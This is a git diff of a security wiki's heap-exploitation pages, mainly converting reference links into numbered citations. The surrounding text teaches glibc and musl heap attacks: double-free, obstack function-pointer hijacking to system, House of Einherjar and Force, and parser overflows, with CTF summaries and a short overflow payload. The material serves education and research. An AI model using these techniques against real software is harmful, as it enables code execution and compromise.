+- **Prefer runtime-object corruption over allocator metadata:** mallocng mixes cookies/guarded out-of-band metadata, so target higher-level objects. In Redis’s Lua 5.1, `Table->array` points to an array of `TValue` tagged values; overwriting the LSB of a pointer in `TValue->value` (e.g., with the JSON terminator byte `0x22`) can pivot references without touching malloc metadata.[[3]](#references)
+- **Debugging stripped/static Lua on Alpine:** Build a matching Lua, list symbols with `readelf -Ws`, strip function symbols via `objcopy --strip-symbol` to expose struct layouts in GDB, then use Lua-aware pretty-printers (GdbLuaExtension for Lua 5.1) plus muslheap to check stride/reserved/cycling-offset values before triggering the overflow.[[3]](#references)[[5]](#references)[[6]](#references)
## Case Studies
@@ -556,12 +556,12 @@ gnu-obstack-function-pointer-hijack.md
## References
-- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
-- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
-- [Pumping Iron on the Musl Heap – Real World CVE-2022-24834 Exploitation on an Alpine mallocng Heap](https://www.nccgroup.com/research-blog/pumping-iron-on-the-musl-heap-real-world-cve-2022-24834-exploitation-on-an-alpine-mallocng-heap/)
-- [musl mallocng enframe (v1.2.4)](https://git.musl-libc.org/cgit/musl/tree/src/malloc/mallocng/meta.h?h=v1.2.4#n196)
-- [muslheap GDB plugin](https://github.com/xf1les/muslheap)
-- [GdbLuaExtension (Lua 5.1 support)](https://github.com/fidgetingbits/GdbLuaExtension)
+- [1] [Heap Exploitation Part 1: Understanding the glibc Heap Implementation](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
+- [2] [Heap Exploitation Part 2: glibc Heap Free Bins](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
+- [3] [Pumping Iron on the Musl Heap – Real World CVE-2022-24834 Exploitation on an Alpine mallocng Heap](https://www.nccgroup.com/research-blog/pumping-iron-on-the-musl-heap-real-world-cve-2022-24834-exploitation-on-an-alpine-mallocng-heap/)
+- [4] [musl mallocng enframe (v1.2.4)](https://git.musl-libc.org/cgit/musl/tree/src/malloc/mallocng/meta.h?h=v1.2.4#n196)
+- [5] [muslheap GDB plugin](https://github.com/xf1les/muslheap)
+- [6] [GdbLuaExtension (Lua 5.1 support)](https://github.com/fidgetingbits/GdbLuaExtension)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
index 39ff87f1822..134569796f0 100644
--- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
+++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
@@ -12,7 +12,7 @@ The initial address to each unsorted, small and large bins is inside the same ar
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
-Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
+Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**.[[4]](#references) Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
@@ -163,7 +163,7 @@ The tcache have several bins depending on the size an the initial pointers to th
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
-Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
+Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.[[2]](#references)
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
@@ -264,7 +264,7 @@ When a program **asks for memory**, the heap manager **checks the unsorted bin**
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
-So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
+So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.[[2]](#references)
> [!CAUTION]
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
@@ -329,7 +329,7 @@ Fastbins[idx=6, size=0x80] 0x00
Small bins are faster than large bins but slower than fast bins.
-Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
+Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.[[2]](#references)
This is how the size of the small bin is calculated according to the index of the bin:
@@ -424,7 +424,7 @@ Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
-Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
+Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.[[2]](#references)
There are:
@@ -635,10 +635,10 @@ heap-memory-functions/heap-functions-security-checks.md
## References
-- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
-- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
-- [https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/core_functions](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/core_functions)
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
+- [1] [Heap Exploitation Part 1: Understanding the glibc Heap Implementation](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
+- [2] [Heap Exploitation Part 2: glibc Heap Free Bins](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
+- [3] [Diving into glibc heap – Core functions](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/core_functions)
+- [4] [CTF Wiki – glibc heap tcache implementation](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md
index 0389d264267..5f975413db7 100644
--- a/src/binary-exploitation/libc-heap/double-free.md
+++ b/src/binary-exploitation/libc-heap/double-free.md
@@ -4,7 +4,7 @@
## Basic Information
-If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
+If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.[[1]](#references)
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
@@ -111,12 +111,12 @@ h1: 0xaaab0f0c2380
## Examples
-- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
+- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)[[2]](#references)
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
-- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
+- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)[[3]](#references)
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
- We allocate three chunks of size `0x110` (`A`, `B`, `C`)
- We free `B`
@@ -127,7 +127,9 @@ h1: 0xaaab0f0c2380
## References
-- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)
+- [1] [Double Free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)
+- [2] [Dragon Army. Hack The Box](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
+- [3] [zero_to_hero. PicoCTF](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md
index 7e3425d47c0..d0e8bda9a63 100644
--- a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md
+++ b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md
@@ -10,11 +10,11 @@ GNU obstacks embed allocator state together with two indirect call targets:
- `freefun` (offset `+0x40`) with signature `void (*freefun)(void *, void *)`
- `extra_arg` and a `use_extra_arg` flag select whether `_obstack_newchunk` calls `chunkfun(new_size)` or `chunkfun(extra_arg, new_size)`
-If an attacker can corrupt an application-owned `struct obstack *` or its fields, the next growth of the obstack (when `next_free == chunk_limit`) triggers an indirect call through `chunkfun`, enabling code execution primitives.
+If an attacker can corrupt an application-owned `struct obstack *` or its fields, the next growth of the obstack (when `next_free == chunk_limit`) triggers an indirect call through `chunkfun`, enabling code execution primitives.[[1]](#references)
## Primitive: size_t desync → 0-byte allocation → pointer OOB write
-A common bug pattern is using a **32-bit register** to compute `sizeof(ptr) * count` while storing the logical length in a 64-bit `size_t`.
+A common bug pattern is using a **32-bit register** to compute `sizeof(ptr) * count` while storing the logical length in a 64-bit `size_t`.[[1]](#references)
- Example: `elements = obstack_alloc(obs, sizeof(void *) * size);` is compiled as `SHL EAX,0x3` for `size << 3`.
- With `size = 0x20000000` and `sizeof(void *) = 8`, the multiplication wraps to `0x0` in 32-bit, so the pointer array is **0 bytes**, but the recorded `size` remains `0x20000000`.
@@ -28,7 +28,7 @@ A common bug pattern is using a **32-bit register** to compute `sizeof(ptr) * co
## Hijacking `chunkfun` with a fake obstack
-Overwrite a victim’s stored `struct obstack *` to point at attacker-controlled data that mimics the obstack header. Minimal fields needed:
+Overwrite a victim’s stored `struct obstack *` to point at attacker-controlled data that mimics the obstack header. Minimal fields needed:[[1]](#references)
- `next_free == chunk_limit` to force `_obstack_newchunk` on next push
- `chunkfun = system_addr`
@@ -58,10 +58,10 @@ fake += p64(1) # use_extra_arg flag set
1. **Trigger size wrap** to create a 0-byte pointer array with a huge logical length.
2. **Groom adjacency** so an OOB pointer store reaches a neighbor object containing an obstack pointer.
3. **Leak libc** by redirecting a victim pointer to the neighbor obstack’s `chunkfun` and reading the function pointer.
-4. **Forge obstack** data with controlled `chunkfun`/`extra_arg` and force `_obstack_newchunk` to land in the forged header, yielding a function-pointer call of the attacker’s choice.
+4. **Forge obstack** data with controlled `chunkfun`/`extra_arg` and force `_obstack_newchunk` to land in the forged header, yielding a function-pointer call of the attacker’s choice.[[1]](#references)
## References
-- [Flagvent 2025 FV25.08 obstack exploit (0xdf)](https://0xdf.gitlab.io/flagvent2025/hard)
+- [1] [Flagvent 2025 FV25.08 obstack exploit (0xdf)](https://0xdf.gitlab.io/flagvent2025/hard)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md
index 1aef236e817..414fe72bcf3 100644
--- a/src/binary-exploitation/libc-heap/heap-overflow.md
+++ b/src/binary-exploitation/libc-heap/heap-overflow.md
@@ -17,7 +17,7 @@ In stack overflows the arranging and data that is going to be present in the sta
However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
-One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
+One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).[[3]](#references)
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
@@ -27,15 +27,15 @@ Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list
### Example libc
-[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
+[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.[[4]](#references)
-Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
+Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.[[5]](#references)
-In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
+In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.[[6]](#references)
### Example ARM64
-In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
+In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk.[[7]](#references) So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
@@ -43,13 +43,13 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
### Other examples
-- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
+- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)[[8]](#references)
- We use an Integer Overflow vulnerability to get a Heap Overflow.
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
### Parser-Driven Heap Overflow Exploitation (file formats, mods, asset packs)
-Binary deserializers often allocate a destination buffer from one attacker-controlled field and then copy data using a **different attacker-controlled count**. A classic pattern is:
+Binary deserializers often allocate a destination buffer from one attacker-controlled field and then copy data using a **different attacker-controlled count**.[[2]](#references) A classic pattern is:
```c
uint32_t alloc = width * height; // 32-bit wrap possible
@@ -74,7 +74,7 @@ Source-side checks such as `count <= remaining_input` are **not enough**. The pa
6. **Exploit 32-bit heap sprays.** Large page-aligned strings/textures can repeat fake objects, pivot data, ROP, and shellcode across a large fraction of the 32-bit address space, making partial ASLR bypasses practical.
7. **Pivot from the forged virtual call.** If the indirect call leaves the fake object in a register such as `EAX`, a stable gadget like `xchg esp, eax ; ... ; ret` turns the virtual call into a [**stack pivot**](../stack-overflow/stack-pivoting.md) toward heap-resident ROP.
-This pattern is especially relevant in **games, importers, asset packs, media parsers, and mod/plugin ecosystems**, where a “passive” file can trigger complex stateful parsing and attacker-controlled heap shaping.
+This pattern is especially relevant in **games, importers, asset packs, media parsers, and mod/plugin ecosystems**, where a “passive” file can trigger complex stateful parsing and attacker-controlled heap shaping.[[2]](#references)
### Real-World Example: CVE-2025-40597 – Misusing `__sprintf_chk`
@@ -90,7 +90,7 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
"/", "https://", path, host);
```
-`__sprintf_chk` is part of **_FORTIFY_SOURCE**. When it receives a **positive** `size` parameter it verifies that the resulting string fits inside the destination buffer. By passing **`-1` (0xFFFFFFFFFFFFFFFF)** the developers effectively **disabled the bounds check**, turning the fortified call back into a classic, unsafe `sprintf`.
+`__sprintf_chk` is part of **_FORTIFY_SOURCE**. When it receives a **positive** `size` parameter it verifies that the resulting string fits inside the destination buffer. By passing **`-1` (0xFFFFFFFFFFFFFFFF)** the developers effectively **disabled the bounds check**, turning the fortified call back into a classic, unsafe `sprintf`.[[1]](#references)
Supplying an overly long **`Host:`** header therefore lets an attacker **overflow the 0x80-byte chunk and clobber the metadata of the following heap chunk** (tcache / fast-bin / small-bin depending on the allocator). A crash can be reproduced with:
@@ -110,8 +110,15 @@ Practical exploitation would require **heap grooming** to place a controllable o
2. Always pass the **correct buffer size** to the `_chk` family (or, even better, use `snprintf`).
## References
-* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
-* [Synacktiv – Exploiting Titan Quest: Arbitrary Code Execution Through Malicious Custom Maps](https://synacktiv.com/en/publications/exploiting-titan-quest.html)
+
+- [1] [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
+- [2] [Synacktiv – Exploiting Titan Quest: Arbitrary Code Execution Through Malicious Custom Maps](https://synacktiv.com/en/publications/exploiting-titan-quest.html)
+- [3] [Grooming the iOS Kernel Heap (Azeria Labs)](https://azeria-labs.com/grooming-the-ios-kernel-heap/)
+- [4] [Nightmare: Heap Consolidation Explanation (guyinatuxedo)](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)
+- [5] [Nightmare: Protostar Heap0 (guyinatuxedo)](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html)
+- [6] [Nightmare: Protostar Heap1 (guyinatuxedo)](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html)
+- [7] [ARM64 Reversing and Exploitation Part 1 – Simple Heap Overflow (8kSec)](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)
+- [8] [Auth-or-out – Hack The Box (7rocky)](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index fd385d40ee1..15c12f6155b 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -4,7 +4,7 @@
## Basic Information
-For the generic single-byte overflow background, check [Off-by-one overflow](off-by-one-overflow.md). The important part here is that **House of Einherjar turns an off-by-null into a backward-consolidation primitive**, which then gives **overlapping chunks**. The overlap is usually only the first stage; on modern glibc the follow-up is commonly a [Tcache Bin Attack](tcache-bin-attack.md) or another metadata-corruption primitive.
+For the generic single-byte overflow background, check [Off-by-one overflow](off-by-one-overflow.md). The important part here is that **House of Einherjar turns an off-by-null into a backward-consolidation primitive**, which then gives **overlapping chunks**. The overlap is usually only the first stage; on modern glibc the follow-up is commonly a [Tcache Bin Attack](tcache-bin-attack.md) or another metadata-corruption primitive.[[1]](#references)
### Code
@@ -64,7 +64,7 @@ For the generic single-byte overflow background, check [Off-by-one overflow](off
encoded_fd = target ^ (victim_chunk_addr >> 12)
```
- Therefore the overlap by itself is not enough anymore; you usually need a **heap leak** and a **16-byte aligned target** for the next `malloc()` to accept the forged pointer.
+ Therefore the overlap by itself is not enough anymore; you usually need a **heap leak** and a **16-byte aligned target** for the next `malloc()` to accept the forged pointer.[[3]](#references)
- On **glibc 2.34+**, the old `__malloc_hook` / `__free_hook` finish is no longer the default assumption. A modern House of Einherjar chain usually targets:
- an application object,
- `tcache_perthread_struct` metadata,
@@ -83,13 +83,13 @@ encoded_fd = target ^ (victim_chunk_addr >> 12)
## References
-- [https://github.com/shellphish/how2heap/blob/master/glibc_2.42/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.42/house_of_einherjar.c)
-- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
+- [1] [how2heap - House of Einherjar (glibc_2.42)](https://github.com/shellphish/how2heap/blob/master/glibc_2.42/house_of_einherjar.c)
+- [2] [CTF-wiki - House of Einherjar (2016 SECCON tinypad)](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- After freeing pointers they are not nullified, so the exploit can still read them. The writeup first leaks libc from an unsorted-bin chunk and then leaks a heap address before setting up House of Einherjar.
-- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
+- [3] [baby-talk. DiceCTF 2024](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- `strtok` provides the off-by-null primitive.
- House of Einherjar is used to create the overlap and the follow-up is a **safe-linking-aware tcache poisoning** chain on a modern libc where hooks are no longer the default end target.
-- [**House of Einherjar: The art of visual exploitation**](https://www.shonk.sh/posts/visual-exploitation/)
+- [4] [House of Einherjar: The art of visual exploitation](https://www.shonk.sh/posts/visual-exploitation/)
- Modern 2025 writeup with clear heap visualisation of the fake chunk, forged `prev_size`, and overlap stage.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md
index 7ef532ea6e6..e1575d3cf4d 100644
--- a/src/binary-exploitation/libc-heap/house-of-force.md
+++ b/src/binary-exploitation/libc-heap/house-of-force.md
@@ -37,27 +37,27 @@ Then, calculate the distance between the address of the top chunk and the target
*/
```
-Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
+Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.[[4]](#references)\
Then, do another malloc to get a chunk at the target address.
-### References & Other Examples
+## References
-- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
-- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_force](https://heap-exploitation.dhavalkapil.com/attacks/house_of_force)
-- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
-- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
+- [1] [how2heap (shellphish)](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
+- [2] [CTF-wiki - House of Force](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
+- [3] [Heap Exploitation - House of Force (Dhaval Kapil)](https://heap-exploitation.dhavalkapil.com/attacks/house_of_force)
+- [4] [how2heap - House of Force (glibc_2.27)](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
+- [5] [Nightmare - House of Force (guyinatuxedo)](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
+- [6] [CTF-wiki - House of Force (HITCON training lab 11)](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
-- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
+- [7] [shift-crops - House of Force writeup (2016 BCTF bcloud, translated)](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
